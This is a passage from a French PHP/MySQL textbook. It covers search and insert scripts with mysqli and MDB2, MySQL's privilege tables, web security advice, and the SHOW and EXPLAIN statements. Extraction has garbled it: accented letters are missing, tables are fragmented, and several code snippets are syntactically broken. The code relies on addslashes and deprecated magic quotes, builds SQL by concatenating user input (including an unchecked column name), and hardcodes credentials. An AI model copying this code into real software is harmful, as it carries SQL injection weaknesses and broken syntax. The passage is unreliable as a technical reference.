Vous remarquerez que ce script vous permet dentrer les caractres joker de MySQL %
et (blanc soulign), ce qui peut tre utile pour lutilisateur. Si cela pose problme,
vous pouvez protger ces caractres.
La Figure 11.2 illustre les rsultats de ce script.
Figure 11.2
Les rsultats de la recherche
des livres sur Java dans
la base de donnes sont
prsents dans une page web
grce au script resultats.php.
Chapitre 11
285
Ltape suivante consiste vrifier que lutilisateur a bien entr une expression
rechercher et quil a slectionn un type de recherche. Vous remarquerez que nous
effectuons cette vrification aprs avoir supprim les espaces aux deux extrmits du
terme recherch : si nous inversions ces deux oprations, nous ne pourrions pas dtecter
le cas o lutilisateur a saisi uniquement des espaces et nous ne pourrions donc pas afficher
un message derreur puisque ces espaces nauraient pas t supprims par trim() :
if (!$type_recherche ||!$terme_recherche) {
echo "Vous navez pas saisi les dtails de la recherche."
exit;
}
Vous remarquerez que nous vrifions aussi la variable $type recherche, bien quelle
provienne dans notre cas dune instruction SELECT de HTML. Vous vous demandez
peut-tre pourquoi nous prenons la peine de vrifier des variables qui doivent tre
remplies automatiquement. Il est trs important de se rappeler quil peut exister
plusieurs interfaces votre base de donnes. Amazon, par exemple, possde plusieurs
filiales qui se servent de leur interface de recherche. En outre, il est important de filtrer
les donnes pour viter tout problme de scurit provenant des diffrentes interfaces
mises la disposition des utilisateurs pour saisir leurs donnes.
286
Partie II
Utilisation de MySQL
Si vous comptez utiliser des donnes saisies par les utilisateurs, il faut les filtrer pour en
supprimer tous les caractres de contrle. Pour cela, utilisez les fonctions addslashes(),
stripslashes() et get magic quotes gpc() que nous avons vues au Chapitre 4. Vous
devez protger les donnes lorsque vous soumettez une entre utilisateur dans une base de
donnes comme MySQL.
Ici, il faut tester le rsultat de la fonction get magic quotes gpc(), qui vous indique si
la mise entre apostrophes est automatique. Si ce nest pas le cas, protgez les donnes
avec addslashes() :
if (!get_magic_quotes_gpc()) {
$type_recherche = addslashes($type_recherche);
$terme_recherche = addslashes($terme_recherche);
}
Vous devez galement utiliser stripslashes() sur les donnes qui proviennent de la base
de donnes. Si la fonctionnalit des apostrophes automatiques est active, les donnes
provenant de la base contiennent en effet des barres obliques que vous devez retirer.
Nous utilisons galement la fonction htmlspecialchars() pour encoder les caractres
qui ont une signification particulire en HTML. Nos donnes de test actuelles ne contiennent aucun de ces caractres (&, <, >, ou "), mais il existe plusieurs titres de livres qui
contiennent le symbole &. Grce cette fonction, nous pouvons liminer de futures
erreurs.
tablissement de la connexion
La bibliothque PHP pour se connecter MySQL sappelle mysqli (le i signifie improved,
cest--dire amlior). Vous avez le choix entre une syntaxe oriente objet ou une
syntaxe procdurale.
Dans le script, cest la ligne suivante qui nous permet de nous connecter au serveur
MySQL :
@$db = new mysqli(localhost, bookorama, bookorama123, livres);
Celle-ci cre une instance de la classe mysqli et une connexion lhte localhost
avec le nom dutilisateur bookorama et le mot de passe bookorama123. Cette
connexion est configure de manire utiliser la base de donnes appele livres.
Avec cette approche oriente objet, vous pouvez maintenant invoquer des mthodes sur
cet objet afin daccder la base de donnes. Si vous prfrez lapproche procdurale,
utilisez la ligne suivante pour crer la mme connexion :
@$db = mysqli_connect(localhost, bookorama, bookorama123,
livres);
Chapitre 11
287
Au lieu dun objet, cet appel renvoie alors une ressource qui reprsente la connexion
la base de donnes. Si vous utilisez lapproche procdurale, vous devrez passer cette
ressource tous les autres appels des fonctions mysqli. Ce mcanisme est trs semblable
celui des fonctions sur les fichiers comme fopen().
La plupart des fonctions mysqli ont une interface oriente objet et une interface procdurale. En gnral, les diffrences tiennent ce que les noms de fonction de la version procdurale commencent par mysqli et exigent que vous passiez le descripteur que vous avez
obtenu de mysqli connect(). Les connexions de la base de donnes font exception cette
rgle car elles peuvent tre effectues par le constructeur de lobjet mysqli.
Il est prfrable de vrifier le rsultat de votre tentative de connexion, car rien dans le
reste du code ne fonctionnera si la connexion la base de donnes na pas fonctionn.
Pour cela, vous pouvez utiliser le code suivant :
if (mysqli_connect_errno()) {
echo "Impossible de se connecter la base de donnes.";
exit;
}
Ce code est identique pour la version oriente objet et la version procdurale. La fonction mysqli connect errno() renvoie un numro derreur en cas derreur et zro en
cas de succs.
Lorsque vous vous connectez la base de donnes, commencez la ligne de code avec
loprateur de suppression derreur, @. Cette approche vous permettra de grer les
erreurs avec lgance (cela peut galement tre ralis avec des exceptions, que nous
navons pas utilises dans cet exemple simple).
Noubliez pas que le nombre de connexions MySQL simultanes est limit par le paramtre MySQL max connections. Lintrt de ce paramtre et du paramtre Apache
MaxClients associ est de permettre au serveur de rejeter les nouvelles demandes de
connexion lorsquun ordinateur commence tre surcharg ou lors dun problme logiciel.
Vous pouvez modifier la valeur par dfaut de ces deux paramtres en modifiant les
fichiers de configuration. Pour modifier MaxClients dans Apache, ditez le fichier
httpd.conf de votre systme. Pour changer le paramtre max connections de MySQL,
modifiez le fichier my.conf.
288
Partie II
Utilisation de MySQL
Cette tape est aussi ncessaire lorsque nous nous connectons partir du Web.
La base de donnes utiliser est indique en paramtre du constructeur mysqli ou de la
fonction mysqli connect(). Si vous souhaitez modifier la base de donnes par dfaut,
vous pouvez le faire avec la fonction mysqli select db() :
$db->select_db(nom_base)
ou comme ceci :
mysqli_select_db(descripteur, nom_base)
Vous pouvez remarquer ici la similarit avec les fonctions que nous avons dcrites
auparavant : la version procdurale commence avec mysqli et requiert le descripteur
de la connexion en paramtre.
Ici, nous recherchons les donnes saisies par lutilisateur ($terme recherche) dans le
champ quil a indiqu ($type recherche). Vous remarquerez que nous avons utilis
loprateur like au lieu de lgalit : il est gnralement prfrable dtre assez tolrant
pour les recherches dans les bases de donnes.
ASTUCE
Il est important de bien comprendre que les requtes que vous envoyez MySQL nont pas
besoin de se terminer par un point-virgule, contrairement aux requtes que vous saisissez
dans le moniteur de MySQL.
Ici, vous passez la requte que vous souhaitez excuter et, dans linterface procdurale,
le descripteur de la base de donnes ($db).
La version oriente objet renvoie un objet rsultat, tandis que la version procdurale
renvoie un descripteur de rsultat (ce systme est semblable au fonctionnement de la
connexion). Dans les deux cas, vous stockez ce rsultat dans une variable ( $resultat)
pour pouvoir lutiliser plus tard. Cette fonction renvoie false en cas dchec.
Chapitre 11
289
Lorsque vous utilisez lapproche procdurale, la fonction mysqli num rows() donne le
nombre de lignes retournes par la requte. Il faut lui passer lidentificateur de rsultat,
comme ceci :
$nb_lig_resultat = mysql_num_rows($result);
Cette information est intressante : si nous avons lintention de traiter ou dafficher les
rsultats, nous pouvons ainsi savoir combien il y en a et les traiter dans une boucle :
for ($i = 0; $i < $nb_lig_resultat; $i++) {
// Traitement du rsultat
}
chaque itration de cette boucle, nous appelons $resultat >fetch assoc() (ou
mysqli fetch assoc()). Cette boucle ne sera donc pas excute le rsultat de la
requte ne contenait aucune ligne. La fonction fetch assoc() prend chaque ligne du
rsultat et la renvoie sous la forme dun tableau associatif o les cls correspondent aux
noms de colonnes et les valeurs sont les valeurs de ces colonnes :
$ligne = $resultat->fetch_assoc();
partir du tableau associatif $ligne, nous pouvons parcourir chaque champ et lafficher
de manire approprie, comme ici :
echo "<br />ISBN : ;
echo stripslashes($ligne[isbn]);
Comme nous lavons dj vu, nous nous servons de stripslashes() pour filtrer les
valeurs avant de les afficher.
Il existe plusieurs manires de rcuprer les lignes partir de lobjet ou du descripteur
de rsultat. Au lieu de passer par un tableau associatif, nous pouvons placer chaque
ligne dans un tableau classique avec mysql fetch row(), comme ici :
$ligne = $resultat->fetch_row();
290
Partie II
Utilisation de MySQL
ou
$ligne = mysqli_fetch_row($resultat);
Les valeurs des colonnes seront alors les valeurs $ligne[0], $ligne[1], etc. La fonction mysqli fetch array() permet dextraire une ligne comme lun ou lautre de ces
deux types de tableaux.
Vous pouvez galement rcuprer une ligne sous la forme dun objet avec la fonction
mysql fetch object() :
$ligne = $result->fetch_object();
ou
$ligne = mysqli_fetch_object($resultat);
Vous pouvez ensuite accder chacun des champs avec $ligne >titre, $ligne
>auteur, etc.
ou
mysqli_free_result($resultat);
ou
mysqli_close($db);
Chapitre 11
Figure 11.3
Linterface permettant
dajouter de nouveaux
livres dans la base de
donnes.
291
292
Partie II
Utilisation de MySQL
Chapitre 11
293
Figure 11.4
Le script se termine correctement et indique que le livre a t ajout la base de donnes.
Si vous examinez le code de insertion_livre.php, vous constaterez quil ressemble beaucoup au script que nous avons crit pour rcuprer des informations de la base de
donnes. Nous vrifions que tous les champs du formulaire sont correctement remplis
et nous les formatons (si ncessaire) avec addslashes() pour quils puissent tre ajouts
dans la base de donnes :
if (!get_magic_quotes_gpc()) {
$isbn = addslashes($isbn);
$auteur = addslashes($auteur);
$titre = addslashes($titre);
$prix = doubleval($prix);
}
Comme le prix de chaque livre est enregistr dans la base de donnes sous la forme
dun nombre virgule flottante, il ne doit contenir aucune barre oblique. Nous pouvons
filtrer ce caractre et tous les autres caractres gnants avec doubleval(), que nous
avons dj vue au Chapitre 1. Cela permet en outre de supprimer tous les symboles
montaires que lutilisateur aurait pu saisir dans le formulaire.
Une fois encore, nous nous sommes connects la base de donnes en instanciant
lobjet mysqli et en configurant une requte envoyer cette base. Ici, il sagit dune
requte SQL INSERT :
$requete = "insert into livres values
(".$isbn., ".$auteur., ".$titre., ".$prix.);
$resultat = $db->query($requete);
Cette requte est excute sur la base de donnes en appelant $db >query() (ou
mysqli query() si vous adoptez lapproche procdurale).
Une diffrence importante entre lutilisation de INSERT et de SELECT rside dans lutilisation de mysqli affected rows(). Il sagit dune fonction dans la version procdurale
ou dune variable de classe dans la version oriente objet :
echo
294
Partie II
Utilisation de MySQL
Dans le script prcdent, nous nous tions servis de mysqli num rows() pour dterminer le nombre de lignes renvoyes par SELECT. Lorsque vous crivez des requtes qui
modifient la base de donnes, comme INSERT, DELETE ou UPDATE, vous devez vous
servir de mysql affected rows().
Chapitre 11
295
pour lier ces quatre variables aux quatre colonnes renvoyes par la requte. Aprs avoir
appel :
$instr->execute();
dans la boucle. chaque fois que cette fonction est appele, elle extrait la ligne
suivante du rsultat et lutilise pour remplir les quatre variables lies.
Vous pouvez utiliser mysqli stmt bind param() et mysqli stmt bind result()
dans le mme script.
296
Partie II
Utilisation de MySQL
Outre les bibliothques fournies avec PHP, il existe des classes dabstraction pour les
bases de donnes, comme MDB2, qui permettent dutiliser les mmes noms de fonctions
pour tous les SGBDR.
Chapitre 11
297
// Connexion la base
$db = &MDB2::connect($dsn);
// Teste la connexion
if (MDB2::isError($db)) {
echo $db->getMessage();
exit;
}
// Cration et excution de la requte
$requete = "select * from livres where " . $type_recherche .
"like %" . $terme_recherche . "%";
$resultat = $db->query($requete);
// Teste le rsultat
if (MDB2::isError($resultat)) {
echo $db->getMessage();
exit;
}
// Rcupre le nombre de lignes du rsultat
$nb_lig_resultat = $resultat->numRows();
// Affiche toutes les lignes du rsultat
for ($i = 0; $i < $nb_lig_resultat; $i++) {
$ligne = $resultat->fetchRow(MDB2_FETCHMODE_ASSOC);
echo "<p><strong>" . ($i+1) . ". Titre : ";
echo htmlspecialchars(stripslashes($ligne[titre]));
echo "</strong><br />Auteur : ";
echo stripslashes($ligne[auteur]);
echo "<br />ISBN : ";
echo stripslashes($ligne[isbn]);
echo "<br />Prix : ";
echo stripslashes($ligne[prix]);
echo </p>;
}
// Dconnexion de la base
$db->disconnect();
?>
</body>
</html>
Examinons les diffrences qui apparaissent dans ce script par rapport la version mysqli.
Pour nous connecter la base de donnes, nous nous servons de la ligne suivante :
$db = MDB2::connect($dsn);
Cette fonction prend en paramtre une chane de connexion universelle qui contient
toutes les informations indispensables pour se connecter une base de donnes. On
sen rend compte lorsquon examine le format de la chane de connexion :
$dsn = "mysqli://" . $utilisateur . ":" . $mdp .
"@". $hote . "/" . $nom_base";
298
Partie II
Utilisation de MySQL
Si tout sest bien pass, nous construisons une requte et nous lexcutons de la manire
suivante :
$resultat = $db->query($query);
= $resultat->numRows();
La mthode gnrique fetchRow() peut rcuprer les lignes sous plusieurs formats ; le
paramtre MDB2 FETCHMODE ASSOC indique que nous souhaitons ici que la ligne soit
renvoye sous forme de tableau associatif.
Aprs le traitement des lignes du rsultat, nous fermons la connexion la base de donnes :
$db->disconnect();
Comme vous pouvez le voir, cet exemple gnrique ressemble beaucoup notre
premier script.
Lintrt de MDB2 est quil suffit de connatre un seul ensemble de fonctions de base de
donnes et que le code ne ncessitera donc que peu de modifications en cas de changement du logiciel de base de donnes.
Ce livre tant consacr MySQL, nous ne nous servirons que des bibliothques natives
de MySQL pour des raisons de rapidit dexcution et de flexibilit. Cependant, le
recours une couche dabstraction peut parfois se rvler extrmement pratique.
Pour la suite
Au prochain chapitre, nous nous intresserons aux dtails de ladministration MySQL
et nous verrons comment optimiser les bases de donnes.
12
Administration MySQL avance
Dans ce chapitre, nous prsenterons quelques aspects plus techniques de MySQL,
comme les privilges avancs, la scurit et loptimisation.
Pour afficher les tables de cette base de donnes, faites la commande suivante :
show tables;
300
Partie II
Utilisation de MySQL
Chacune de ces tables contient des informations systme. Six dentre elles ( user, host,
db, tables priv, columns priv et procs priv) stockent les informations des privilges, et cest pour cette raison quon les appelle parfois tables grant. La fonction spcifique de ces tables varie, mais leur utilisation globale reste la mme : dterminer ce que
les utilisateurs ont le droit de faire et ce quils nont pas le droit de faire. Chacune
delles contient deux types de champs : les champs de porte, qui identifient lutilisateur, lhte et une partie dune base de donnes laquelle le privilge fait rfrence, et
les champs de privilges, qui identifient les actions pouvant tre effectues par
lutilisateur en question pour le champ de porte correspondant.
Les tables user et host indiquent si un utilisateur peut se connecter au serveur MySQL et
sil possde des privilges dadministration. Les tables db et host dterminent les bases de
donnes auxquelles lutilisateur peut accder. La table tables priv dtermine les tables
dune base de donnes dont lutilisateur peut se servir, la table columns priv dtermine
les colonnes de ces tables auxquelles il peut accder et la table procs priv indique les
procdures que lutilisateur a le droit dexcuter.
Chapitre 12
301
La table user
La table user contient les dtails des privilges globaux de lutilisateur. Elle dtermine
si lutilisateur a le droit de se connecter au serveur MySQL et sil possde des privilges globaux, cest--dire des privilges valables pour toutes les bases de donnes du
systme.
Vous pouvez consulter la structure de cette table avec linstruction describe user;.
Le schma de cette table user est prsent dans le Tableau 12.1.
Tableau 12.1 : Le schma de la table user dans la base de donnes mysql
Champ
Type
Host
varchar(60)
User
varchar(16)
Password
char(16)
Select priv
enum(N,Y)
Insert priv
enum(N,Y)
Update priv
enum(N,Y)
Delete priv
enum(N,Y)
Create priv
enum(N,Y)
Drop priv
enum(N,Y)
Reload priv
enum(N,Y)
Shutdown priv
enum(N,Y)
Process priv
enum(N,Y)
File priv
enum(N,Y)
Grant priv
enum(N,Y)
References priv
enum(N,Y)
Index priv
enum(N,Y)
Alter priv
enum(N,Y)
Show db priv
enum(N,Y)
Super priv
enum(N,Y)
enum(N,Y)
enum(N,Y)
302
Partie II
Utilisation de MySQL
Tableau 12.1 : Le schma de la table user dans la base de donnes mysql (suite)
Champ
Type
Execute priv
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
Event priv
enum(N,Y)
Trigger priv
enum(N,Y)
ssl type
enum(,ANY,X509,SPECIFIED)
ssl cipher
blob
x509 issuer
blob
x509 subject
blob
max questions
int(11) unsigned
max updates
int(11) unsigned
max connections
int(11) unsigned
int(11) unsigned
Chapitre 12
303
Tous les privilges numrs dans la table user sont globaux, cest--dire quils
sappliquent toutes les bases de donnes du systme (y compris la base de donnes
mysql). Par consquent, les administrateurs possdent gnralement quelques Y dans
ces colonnes, mais la majorit des utilisateurs ne doit possder que des N. Les utilisateurs normaux doivent possder des privilges pour les bases de donnes dont ils
doivent se servir et non pour toutes les tables.
Les tables db et host
La plupart des privilges des utilisateurs normaux sont enregistrs dans les tables db et host.
La table db dtermine les bases de donnes auxquelles les utilisateurs peuvent accder,
ainsi que les htes partir desquels ils peuvent y accder. Les privilges indiqus dans
cette table sont valables pour toutes les bases de donnes dont le nom se trouve dans les
lignes de cette table.
La table host complte les tables user et db. Si un utilisateur doit pouvoir se connecter
une base de donnes partir de plusieurs htes, aucun hte ne sera indiqu pour cet
utilisateur dans la table user ou db. En revanche, cet utilisateur possdera un ensemble
dentres dans la table host, qui permet de prciser les privilges associs chaque
combinaison utilisateur/hte.
Les schmas de ces deux tables sont prsents, respectivement, dans les Tableaux 12.2
et 12.3.
Tableau 12.2 : Le schma de la table db de la base de donnes mysql
Champ
Type
Host
char(60)
Db
char(64)
User
char(16)
Select priv
enum(N,Y)
Insert priv
enum(N,Y)
Update priv
enum(N,Y)
Delete priv
enum(N,Y)
Create priv
enum(N,Y)
Drop priv
enum(N,Y)
Grant priv
enum(N,Y)
304
Partie II
Utilisation de MySQL
Champ
Type
References priv
enum(N,Y)
Index priv
enum(N,Y)
Alter priv
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
Execute priv
enum(N,Y)
Event priv
enum(N,Y)
Trigger priv
enum(N,Y)
Champ
Type
Host
char(60)
Db
char(64)
Select priv
enum(N,Y)
Insert priv
enum(N,Y)
Update priv
enum(N,Y)
Delete priv
enum(N,Y)
Create priv
enum(N,Y)
Drop priv
enum(N,Y)
Grant priv
enum(N,Y)
References priv
enum(N,Y)
Index priv
enum(N,Y)
Chapitre 12
305
Champ
Type
Alter priv
enum (N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
enum(N,Y)
Execute priv
enum(N,Y)
Trigger priv
enum(N,Y)
Champ
Type
Host
char(60)
Db
char(64)
User
char(16)
Table name
char(60)
Grantor
char(77)
Timestamp
timestamp(14)
Table priv
Column priv
306
Partie II
Utilisation de MySQL
Champ
Type
Host
char(60)
Db
char(64)
User
char(16)
Table name
char(64)
Column name
char(64)
Timestamp
timestamp(14)
Column priv
Champ
Type
Host
char(60)
Db
char(64)
User
char(16)
Routine name
char(64)
Routine type
enum(FUNCTION, PROCEDURE)
Grantor
char(77)
Proc priv
Timestamp
timestamp(14)
La colonne Grantor des tables tables priv et procs priv contient le nom de lutilisateur qui a fourni ce privilge lutilisateur considr. La colonne Timestamp de ces
trois tables contient la date et lheure courantes au moment o ce privilge a t
accord.
Contrle daccs : utilisation des tables de privilges par MySQL
MySQL se sert des tables des privilges pour dterminer ce quun utilisateur a le droit
de faire. Cette opration seffectue en deux tapes :
1. Vrification de la connexion. Dans cette tape, MySQL vrifie si vous avez le droit
de vous connecter compte tenu des informations de la table user, comme nous
lavons dj vu. Cette authentification prend en compte votre nom dutilisateur,
Chapitre 12
307
votre nom dhte et votre mot de passe. Si un nom dutilisateur est laiss vide dans
la table user, il correspond tous les utilisateurs. Les noms dhtes peuvent contenir un joker (%) qui peut remplacer lintgralit du champ (dans ce cas, le % correspond tous les htes) ou uniquement une partie du nom dhte (par exemple,
%.tangledweb.com.au correspond tous les htes dont le nom se termine par
.tangledweb.com.au). Si le champ du mot de passe est laiss vide, aucun mot de
passe nest ncessaire. Pour des raisons de scurit, il vaut mieux viter que la table
user contienne une ligne ne contenant aucun nom dutilisateur, aucun mot de passe
et un nom dhte uniquement compos dun joker. Si le nom dhte est vide,
MySQL se rfre la table host afin de trouver une entre user et host correspondante.
2. Vrification des requtes. chaque fois que vous envoyez une requte aprs avoir
tabli une connexion, MySQL vrifie si vous avez le niveau de privilges appropri.
Le systme commence par vrifier les privilges globaux (dans la table user) ; sils
ne sont pas suffisants, il vrifie les tables db et host. Si vous navez toujours pas les
privilges suffisants, MySQL vrifie la table tables priv et enfin la table
columns priv (si lopration implique des procdures stockes, il vrifie la table
procs priv au lieu de ces deux tables).
Mise jour des privilges : quel moment les modifications prennent-elles
effet ?
Le serveur MySQL lit automatiquement les tables des privilges lors de son dmarrage
et lorsque vous excutez des instructions GRANT et REVOKE. Cependant, maintenant que
nous savons o et comment ces privilges sont enregistrs, nous pouvons les modifier
manuellement. Dans ce cas, le serveur MySQL ne remarquera pas que vous les avez
modifis.
Il faut donc indiquer au serveur quune modification est intervenue. Pour cela, vous
disposez de trois techniques. Vous pouvez utiliser la commande :
flush privileges;
linvite de MySQL (vous devez avoir ouvert une session sous le compte dun administrateur). Il sagit de la manire la plus courante pour mettre jour les privilges.
Mais vous pouvez galement utiliser :
mysqladmin flush-privileges
ou :
mysqladmin reload
308
Partie II
Utilisation de MySQL
Aprs cette opration, les niveaux de privilges globaux seront vrifis lors de la
prochaine connexion dun utilisateur. Les privilges de niveau base de donnes
seront vrifis lors de lexcution de la prochaine instruction dutilisation, et les
privilges au niveau des tables et des colonnes le seront lors de la prochaine requte
dutilisateur.
Chapitre 12
309
Sil vous faut stocker des mots de passe dans des scripts, assurez-vous que seul lutilisateur dont le mot de passe est enregistr dans un script a le droit de le lire.
Les scripts PHP utiliss pour se connecter la base de donnes ont besoin de connatre
le mot de passe de lutilisateur concern. Il est possible de scuriser cette opration en
plaant le nom dutilisateur et le mot de passe dans un fichier appel, par exemple,
dbconnect.php, puis dinclure celui-ci lorsque vous en avez besoin. Ce fichier doit tre
soigneusement conserv lextrieur de larborescence des documents web et tre
accessible uniquement lutilisateur appropri. Noubliez pas que, si vous placez ces
informations dans un fichier .inc (ou une autre extension) dans larborescence des documents web, vous devez vrifier que votre serveur web sait que ces fichiers doivent tre
interprts comme des fichiers PHP pour quils ne saffichent pas comme du texte brut
dans un navigateur web.
Ne stockez pas les mots de passe en clair dans votre base de donnes. Les mots de passe
MySQL ne sont pas enregistrs de cette manire, mais il arrive souvent que dans le
cadre dapplications web on souhaite enregistrer les noms des comptes utilisateurs et
les mots de passe des membres du site. Vous pouvez chiffrer (de manire non rversible) vos mots de passe avec la fonction password() de MySQL. Si vous utilisez un mot
de passe chiffr dans une clause SELECT (pour ouvrir une session utilisateur), vous
devrez utiliser la mme fonction de chiffrement pour tester le mot de passe saisi par
lutilisateur.
Nous reviendrons sur cette fonctionnalit lorsque nous implmenterons des projets,
dans la Partie 5.
Privilges des utilisateurs
La connaissance du systme de privilges est essentielle. Vous devez donc bien
comprendre ce systme, ainsi que les consquences de certains privilges. Dune
manire gnrale, ne donnez pas plus de droits vos utilisateurs quils en ont rellement
besoin. Pour vous en assurer, vous pouvez examiner les tables de privilges.
Les privilges PROCESS, FILE, SHUTDOWN et RELOAD, notamment, ne doivent tre accords
quaux administrateurs, moins quil ne soit absolument ncessaire de les octroyer un
autre utilisateur. Le privilge PROCESS permet de savoir ce que font les autres utilisateurs et ce quils tapent au clavier, y compris leurs mots de passe. Le privilge FILE
permet de lire et de modifier les fichiers de nimporte quel rpertoire du systme
dexploitation (y compris le fichier /etc/passwd dun systme Unix, par exemple).
Le privilge GRANT doit galement tre accord avec prcaution, puisquil permet aux
utilisateurs de partager leurs privilges avec dautres.
310
Partie II
Utilisation de MySQL
Lorsque vous crez les utilisateurs, assurez-vous de ne leur accorder laccs qu partir
de lordinateur do ils seront censs ouvrir une session. Par exemple, si lun de vos
utilisateurs sappelle jeanne@localhost, tout va bien. En revanche, si cet utilisateur
sappelle simplement jeanne, il pourra ouvrir une session depuis nimporte quel ordinateur et il se peut quelle ne soit pas la jeanne que vous connaissez. Pour la mme
raison, vitez demployer des jokers dans les noms dhtes.
Vous pouvez encore amliorer la scurit de votre systme en utilisant des adresses IP
la place des noms de domaines dans la table host. Cela vous pargnera bien des problmes en cas de piratage de votre DNS ou, plus simplement, en cas derreur. Pour aller
encore plus loin, vous pouvez dmarrer le dmon MySQL avec loption skip name
resolve, qui demande au serveur de ne lire que les adresses IP ou localhost dans les
colonnes contenant des noms dhtes.
Il faut galement empcher les utilisateurs normaux daccder au programme mysqlad
min de votre serveur web. Comme ce programme est excut partir de la ligne de
commande, il peut poser problme au niveau des droits du systme dexploitation.
Problmes relatifs au Web
Le fait de connecter une base de donnes MySQL au Web pose certains problmes de
scurit particuliers.
Il peut tre intressant de crer un utilisateur spcial, rserv aux connexions web. De
cette manire, vous pouvez lui fournir uniquement des privilges minimaux et ne pas
lui accorder, par exemple, les privilges DROP, ALTER ou CREATE. Vous pouvez galement
lui accorder le privilge SELECT seulement sur les tables des catalogues et INSERT
uniquement pour les tables des commandes. Cest, ici aussi, une illustration du principe
de privilges minimaux.
ATTENTION
Nous avons vu au chapitre prcdent comment utiliser les fonctions addslashes() et
stripslashes() de PHP pour se dbarrasser des caractres susceptibles de poser problme
dans les chanes. Il ne faut pas oublier cette tape. Noubliez pas non plus de nettoyer les
donnes que vous envoyez MySQL. Vous vous rappelez peut-tre que nous nous sommes
servis de la fonction doubleval() pour vrifier que les donnes numriques contiennent
rellement des nombres. Il arrive souvent que lon omette cette vrification : on pense
utiliser addslashes(), mais pas toujours vrifier les valeurs numriques.
Toutes les donnes provenant des utilisateurs doivent tre vrifies. Mme si votre
formulaire HTML ne contient que des cases cocher et des boutons radio, une
Chapitre 12
311
personne malveillante peut trs bien modifier lURL pour tenter de pirater votre script.
Il est galement conseill de vrifier la taille des donnes reues.
Si les utilisateurs saisissent des mots de passe ou des donnes confidentielles destins
tre enregistrs dans votre base de donnes, noubliez pas que ces informations sont
transmises en clair entre le navigateur et le serveur, moins que vous nutilisiez SSL
(Secure Sockets Layer). Nous reviendrons en dtail sur SSL et son utilisation.
affiche la liste de toutes les bases de donnes disponibles. Vous pouvez ensuite vous
servir de SHOW TABLES pour obtenir la liste des tables de lune de ces bases :
show tables from livres;
Lorsque vous utilisez SHOW TABLES sans prciser la base de donnes, cette instruction
choisit par dfaut celle qui est en cours dutilisation.
Lorsque vous connaissez les tables, vous pouvez obtenir la liste de leurs colonnes :
show columns from commandes from livres;
Si vous ne prcisez pas la base de donnes, linstruction SHOW COLUMNS choisit par
dfaut la base de donnes en cours dutilisation. Vous pouvez aussi utiliser la convention
base.table :
show columns from livres.commandes;
Une autre variante trs intressante de linstruction SHOW permet dafficher les privilges
dun utilisateur.
Si, par exemple, vous excutez :
show grants for bookorama;
312
Partie II
Utilisation de MySQL
Les instructions GRANT qui saffichent ne sont pas ncessairement celles qui ont t
excutes pour attribuer des privilges un utilisateur particulier, mais sont plutt les
instructions quivalentes qui produiraient le niveau de privilge actuel.
Il existe en fait plus dune trentaine de variantes de linstruction SHOW. Les plus utilises
sont prsentes dans le Tableau 12.7 ; pour en connatre la liste complte, consultez la
section approprie du manuel de MySQL, http://dev.mysql.com/doc/refman/5.1/en/
show.html. Dans le tableau, toutes les occurrences de [like ou where] peuvent tre
remplaces par LIKE motif ou WHERE expression.
Tableau 12.7 : Syntaxe de linstruction SHOW
Variante
Description
Chapitre 12
313
Variante
Description
SHOW PRIVILEGES
SHOW WARNINGS [LIMIT [dcalage,] Affiche toutes les erreurs, tous les avertissements et
nombre lignes]
toutes les notifications produites par la dernire
314
Partie II
Utilisation de MySQL
Cette instruction fournit des informations sur toutes les colonnes de la table ou sur une
colonne particulire si colonne est prcise. Il est possible de recourir des jokers pour
les noms des colonnes.
Comprendre le fonctionnement des requtes avec EXPLAIN
Linstruction EXPLAIN peut tre utilise de deux manires. Tout dabord, vous pouvez
utiliser :
EXPLAIN table;
Cette requte produit la sortie suivante (notez que nous laffichons sous forme verticale parce que les lignes de la table sont trop larges pour tenir dans ce livre ; vous
pouvez obtenir ce format en faisant terminer votre requte par \G au lieu dun pointvirgule).
Chapitre 12
315
Bien que cette sortie puisse paratre droutante au premier abord, elle se rvle trs
utile. Examinons les colonnes de cette table une une.
La premire colonne, id, fournit lidentifiant de linstruction SELECT dans la requte
laquelle cette ligne se rfre.
316
Partie II
Utilisation de MySQL
Type
Description
SIMPLE
PRIMARY
Requte externe (premire requte) lorsque lon utilise des sousrequtes ou des unions
UNION
DEPENDENT UNION
UNION RESULT
SUBQUERY
Sous-requte interne
DEPENDENT SUBQUERY
DERIVED
UNCACHEABLE SUBQUERY
Sous-requte dont le rsultat ne peut pas tre mis en cache et qui sera
donc rvalue pour chaque ligne
UNCACHEABLE UNION
Seconde ou requte suivante dans une union appartenant sousrequte non cachable
La colonne table numre simplement les tables utilises pour rpondre la requte.
Chaque ligne du rsultat fournit plus dinformations sur la manire dont cette table
particulire est utilise dans la requte. Ici, vous pouvez voir que les tables utilises sont
commandes, livres commandes, clients et livres (ce que vous pouvez dj savoir en
examinant tout simplement la requte).
La colonne type explique comment la table est utilise dans les jointures de la requte.
Le Tableau 12.9 numre les valeurs possibles de cette colonne, de la plus rapide la
plus lente en terme de rapidit dexcution. Cela vous donne une ide du nombre de
lignes qui doivent tre lues dans chaque table pour excuter une requte.
Tableau 12.9 : Les diffrents types de jointures affichs par EXPLAIN
Type
Description
const ou system
La table nest lue quune seule fois. Cela se produit lorsque la table ne
contient quune seule ligne. Le type system est utilis avec les tables
systmes et le type const dans les autres cas.
Chapitre 12
317
Tableau 12.9 : Les diffrents types de jointures affichs par EXPLAIN (suite)
Type
Description
eq ref
fulltext
ref
ref or null
Semblable une requte ref, mais MySQL recherche galement les lignes
NULL (ce type est principalement utilis dans les sous-requtes).
index merge
unique subquery
index subquery
Ce type de jointure est semblable unique subquery mais est utilis pour
les sous-requtes avec un index non UNIQUE.
range
index
ALL
Dans lexemple prcdent, vous pouvez constater quune table est jointe avec eq ref
(livres), quune autre lest avec ref (livres commandes) et que les deux autres
(commandes et clients) sont jointes avec ALL, cest--dire en examinant chaque ligne
de la table.
La colonne rows conserve ces informations : elle contient une estimation approximative
du nombre de lignes de chaque table qui doivent tre parcourues pour effectuer la jointure. Vous pouvez les multiplier entre elles pour obtenir le nombre total de lignes
examines pour effectuer une requte. Ces chiffres doivent tre multiplis puisquune
jointure est comparable un produit des lignes appartenant diffrentes tables. Reportez-vous au Chapitre 10 pour plus de dtails. Noubliez pas quil sagit du nombre de
lignes examines, pas du nombre de lignes renvoyes, et quil sagit seulement dune
318
Partie II
Utilisation de MySQL
